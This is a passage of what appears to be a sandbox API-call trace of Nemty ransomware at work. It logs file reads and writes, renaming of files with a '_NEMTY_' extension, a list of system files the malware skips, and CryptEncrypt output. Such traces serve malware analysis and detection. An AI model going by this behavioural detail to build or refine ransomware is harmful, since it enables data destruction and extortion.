nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.314] CloseHandle (hObject=0xffffffff) returned 0 [0055.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0055.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0055.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0055.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0055.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.314] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.315] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2=".") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="..") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="...") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="windows") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="rsa") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntldr") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="IO.SYS") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="boot.ini") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="boot.ini") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntuser.dat") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="desktop.ini") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="RECYCLER") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootmgr") returned 1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="programdata") returned -1 [0055.315] lstrcmpiW (lpString1="navSubpicture.png", lpString2="appdata") returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navSubpicture.png", lpUsedDefaultChar=0x0) returned 17 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navSubpicture.png", lpUsedDefaultChar=0x0) returned 17 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navSubpicture.png", lpUsedDefaultChar=0x0) returned 17 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navSubpicture.png", lpUsedDefaultChar=0x0) returned 17 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0055.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0055.316] Sleep (dwMilliseconds=0x5) [0055.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4a071d0, dwHighDateTime=0x1d561e7)) [0055.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4a071d0, dwHighDateTime=0x1d561e7)) [0055.331] GetLastError () returned 0x5 [0055.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.331] GetLastError () returned 0x5 [0055.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.331] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0055.332] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="CkHa96fsEPfll/pHiS3Kmd7uqm7/wHu36iJKCtTENQlVpQOXlO62NSB2S1SBsfh7\r\n6Xs5RJxXbmFIldeMN/zTSCeIlgtNm25fi2jAjSmXMfub7fwD5UVZElV/gv/RMewD\r\n82PSN68/35N/MgzH5pNo0QFeFuiWZHUEK8EdGODLGiuA1UBr8fde9fm9zOJBIfGT\r\nY9s94wIj+Svs4TiJ1KaupJrdsmLwWehycqRWus7rilwUYbjlRt5TN3rQzYWCYnXy\r\nSsvBGXz6hngatbHK+3zJqJmFgjqmEIIUx7wWUbRRXihei+SY7H8j7tJEWGiEMZnH\r\neC0pCF6kP+9xAnBe9kMfcA==\r\n", pcchString=0x653e91c) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0055.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0055.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0055.332] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.333] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, 